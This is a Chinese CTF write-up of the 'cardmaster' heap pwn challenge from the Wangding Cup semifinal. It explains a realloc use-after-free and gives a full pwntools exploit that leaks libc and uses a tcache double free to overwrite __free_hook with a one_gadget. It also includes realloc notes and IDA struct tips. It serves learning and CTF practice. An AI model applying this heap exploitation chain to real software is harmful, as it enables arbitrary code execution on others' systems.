网鼎杯已经过去好长时间了,想起来还有一道题没复现。
本题为pwn中的cardmaster,比赛的时候去帮队友打渗透了,没怎么看这题(听说隔壁从十点看到下午两点都没写出来)
先看保护:

保护全开,glibc版本为2.27,这个版本的堆有tcache机制。
这道题主要的困难点在于逆向,理清楚程序逻辑之后就比较简单了。
创建的结构体:
00000000 struct __fixed card_struct // sizeof=0x28
00000000 {
00000000 unsigned __int32 usr_size;
00000004 unsigned __int32 card_size;
00000008 unsigned __int64 level;
00000010 unsigned __int64 card;
00000018 unsigned __int64 get_func;
00000020 unsigned __int64 heap_manager;
00000028 };
首先我们来看一下set_info函数:

漏洞点也在这里,realloc函数在size等于0时等同于free,有uaf漏洞。先利用unsorted bin attack泄露出libc基址,然后打free_hook就行。
注意这里malloc的堆块大小,申请0x200的最终堆块大小为0x1820,应该是0x1010和0x810释放后触发了合并机制?这里大于0x410的堆块即进入unsorted_bin,越过了tcachebin。

里面还有一个判断:如果等于原有的字符集,会直接malloc,这就需要我们先初始化了(init),后面申请的时候要用到。
exp如下
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
p = process("./cardmaster")
libc = ELF('/home/kali/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/libc.so.6')
def init():
p.sendlineafter(">>", b'1')
#sleep(1)
def edit(card_size, range_num, level, card):
p.sendlineafter(">>", b'2')
p.sendlineafter("suit count:", str(card_size))
p.sendlineafter("digit range 1 - ?", str(range_num))
p.sendlineafter("randomize level:", str(level))
p.sendlineafter("new suite set:", card)
#sleep(1)
def free():
p.sendlineafter(">>", b'2')
p.sendlineafter("suit count:", str(0))
p.sendlineafter("digit range 1 - ?", str(0))
p.sendlineafter("randomize level:", str(0))
#sleep(1)
def show():
p.sendlineafter(b'>>', b'3')
init()
edit(0x200, 1, 1, b'a')#实际free之后为1820大小,超过tcache直接放入unstoredbin,泄露libc
free()
#gdb.attach(p)
show()
p.recvuntil("suit chara set:")
leak = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
print("leak >>>", hex(leak))
libc_base = leak - 0x3ebca0
print("libc_base >>>", hex(libc_base))
free_hook = libc.sym['__free_hook'] + libc_base
onegadget = 0x4f322 + libc_base
edit(0x200, 1, 1, b'a')#把之前那个申请回去
edit(0x20, 1, 1, b'a')
free()
free()#double free利用tcache bin attack打free_hook
edit(0x20, 1, 1, p64(free_hook))
#gdb.attach(p)
init()
edit(0x20, 1, 1, b'a')
init()
edit(0x20, 1, 1, p64(onegadget))
free()
p.interactive()
下面是从别的师傅博客找来的realloc函数的机制
realloc(ptr, size)有两个参数
①当size==0的时候:此时等同于free,相当于free(ptr) 并且返回的是空指针,没有uaf漏洞
ptr==0,size>0的时候:此时等同于malloc(size)②如果 realloc_ptr 指向的内存块的可用大小,大于或等于请求的大小 size ,realloc 将会保留原来的指针地址,并且不会移动内存块。此时,realloc 会将多余的内存释放掉,以把内存块的大小精确调整到 size 字节。而如果原先的块大小大于 size,则会减少内存的使用,但指针 ptr 仍然指向原先的内存地址,不会改变指向的位置。
③当 realloc_ptr 指向的内存块的可用大小小于请求的大小时,realloc 函数会通过 malloc 分配一块新的、足够大的内存,随后将原内存块的内容复制到新的内存块中。这一过程确保原始数据不会丢失,完成后旧内存块会被释放以避免内存泄漏。如果分配成功,realloc 返回新的内存块指针;若分配失败,则返回 NULL,原指针保持不变。
总的来说这题确实不算特别难(可能逆向分析那里有点问题)
在复现的过程中学到了创建结构体(早点学会就好了):

按shift f1打开local types

右键选择add type或者直接按Insert,设定好大小然后创建。

然后再结构体中按d插入元素,右键可以修改类型和名称。

创建完返回定义结构体的位置,然后应用即可

本文地址: 网鼎杯半决赛cardmaster复现